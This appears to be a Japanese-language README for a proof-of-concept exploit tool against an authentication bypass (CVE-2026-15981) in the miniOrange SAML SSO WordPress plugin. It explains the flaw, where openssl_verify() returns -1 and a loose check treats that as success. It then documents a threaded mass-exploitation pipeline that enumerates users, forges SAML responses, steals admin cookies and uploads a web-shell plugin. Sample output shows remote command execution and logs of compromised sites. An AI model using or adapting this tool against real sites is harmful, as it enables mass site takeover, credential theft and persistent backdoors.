
SAML Single Sign On <= 5.4.4 - SAMLResponseパラメータを介した未認証の認証バイパス
SAML Single Sign On <= 5.4.4 - SAMLResponse パラメータによる未認証の認証回避
概念実証(PoC)エクスプロイト
不正な署名 → openssl_verify() が -1 を返す → PHP の弱い型変換で true と評価 → 管理者として wp_set_auth_cookie() が実行
| 項目 | 詳細 |
|---|---|
| CVE ID | CVE-2026-15981 |
| 影響を受けるプラグイン | miniOrange SAML 2.0 Single Sign On – SSO Login(WordPress) |
| 影響を受けるバージョン | 5.4.4 までの全バージョン |
| 種別 | 未認証の認証回避 |
| CWE | CWE-287: 不適切な認証 / CWE-305: 根本的欠陥による認証回避 |
| CVSS 3.1 | 9.8 CRITICAL — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 認証 | 不要 |
WordPress 用プラグイン「SAML Single Sign On – SSO Login」は、5.4.4 までの全バージョンにおいて認証回避の脆弱性の影響を受けます。これは、mo_saml_validate_signature() 関数が PHP の openssl_verify() が返す三値の整数に対して**弱い真偽値チェック(loose boolean check)**を実行するためで、エラー時の戻り値 -1 が真(truthy)と評価され、署名検証が成功したものとして扱われてしまいます。
これにより、認証されていない攻撃者は、攻撃者が制御する NameID と、OpenSSL の処理エラーを引き起こすよう意図的に破壊された署名値を含む細工済み SAMLResponse を送信することで、管理者を含む任意の既存 WordPress ユーザーとしてログインできるようになります。検証は完全にバイパスされ、対象アカウントに対して wp_set_auth_cookie() が呼び出されます。
Attacker sends crafted SAMLResponse
│
▼
mo_saml_validate_signature()
│
▼
openssl_verify($data, $malformed_sig, $key)
│
├─ Returns 1 → valid signature ✓
├─ Returns 0 → invalid signature ✗
└─ Returns -1 → OpenSSL internal error
│
▼
PHP loose comparison: if ($result)
│
├─ (int) 1 → true ✓
├─ (int) 0 → false ✓
└─ (int) -1 → true ← BUG: error treated as success
│
▼
wp_set_auth_cookie() called
│
▼
Attacker is now Administrator
修正は簡単です — if ($result) の代わりに if ($result === 1) とするだけです — しかし、この欠陥の影響は完全な認証バイパスです。
?option=mosaml_metadata から Entity ID と ACS URL を抽出/wp-json/wp/v2/users)/?author=N)?option=saml_user_login のリダイレクトを追跡し、IdP のベース URL を抽出lxml による正しい Exclusive C14N 正規化</Issuer> の後の署名要素の挿入openssl_verify() = -1 を引き起こすよう設計された 12 以上の不正な署名ペイロードwordpress_logged_in_* クッキーを確認/wp-admin/、/wp-admin/users.php、/wp-admin/plugins.php へのアクセスを検証/wp-admin/profile.php からユーザー名とメールアドレスを読み取りplugin-install.php 経由のプラグイン ZIP アップロード/wp-json/wp/v2/plugins 経由の REST API プラグインアップロードNx-zD シグネチャを確認Python >= 3.8
pip install requests lxml
SAML アサーションを正しく Exclusive C14N 正規化するには、
lxmlが必要です。
python CVE-2026-15981.py
以下の入力を求められます:
| プロンプト | 説明 | デフォルト |
|---|---|---|
| ターゲットファイル | 1行につき1ターゲットを記述したテキストファイルのパス | list.txt |
| スレッド数 | 同時実行ワーカー数(1〜100) | 5 |
https://example.com
http://target.org
subdomain.example.net
192.168.1.100
https://example.com/wordpress
1行に1つの URL を指定します。スキームが指定されていない場合は、デフォルトで HTTP が使用されます。
███████╗███╗ ███╗███████╗
██╔════╝████╗ ████║██╔════╝
███████╗██╔████╔██║███████╗
╚════██║██║╚██╔╝██║╚════██║
███████║██║ ╚═╝ ██║███████║
╚══════╝╚═╝ ╚═╝╚══════╝
╔══════════════════════════════════════════════════════════╗
║ miniOrange SAML SSO <= 5.4.4 ║
║ openssl_verify() -1 Bypass -> Admin Session ║
╚══════════════════════════════════════════════════════════╝
By: Nxploited ( Khaled Alenazi ) - Nxploited ZeroDay Hub
T.m @Kxploit
各ターゲットは、ラベル付けされた 7 つのステージを順に進みます:
============================================================
target.com
============================================================
[1] WordPress
confirmed
[2] SAML plugin
version: 5.4.4
miniOrange SAML detected
[3] SP metadata
metadata entityID: https://target.com/...
metadata ACS: https://target.com/
[4] Users
REST: admin (id=1)
REST: editor (id=2)
author/3: johndoe
4 found: ['admin', 'editor', 'johndoe', 'target']
[5] Issuers
SSO redirect found
3 candidates
[6] Exploit
COOKIE! #14 user=admin 0xFF*256/rsa-sha256
wordpress_logged_in_abc123=admin%7C1753...
wp-admin accessible
user=admin [email protected]
users.php -> Admin
[7] Shell upload
M1: plugin uploaded
SHELL (M1-plugin): https://target.com/wp-content/plugins/nxproof/Nx.php
-> Nx-zD Linux target 6.1.0 x86_64 uid=33(www-data) ...
+==========================================================+
| ADMIN SESSION CONFIRMED |
+==========================================================+
| Target : https://target.com
| User : admin
| Issuer : https://idp.example.com/simplesaml/...
| Method : 0xFF*256/rsa-sha256
| Cookie : wordpress_logged_in_abc123=admin%7C1753...
| Shell : https://target.com/wp-content/plugins/nxproof/Nx.php
+==========================================================+
| ファイル | 内容 |
|---|---|
sms.txt | 確認された管理者セッションごとに1行 — タイムスタンプ、ターゲット、ユーザー、クッキー、シェル URL、発行者、署名方式 |
sms_debug.json | 全ターゲットの完全な診断 JSON — 試行回数と失敗の分類を含む |
[2026-07-26 09:14:52] https://target.com | ADMIN | user=admin | cookie=wordpress_logged_in_...
| SHELL=https://target.com/wp-content/plugins/nxproof/Nx.php | issuer=https://idp.example.com/...
| sig=0xFF*256/rsa-sha256
============================================================
DONE - 142.3s
============================================================
ADMIN=3 miss=47 skip=100
results -> sms.txt debug -> sms_debug.json
============================================================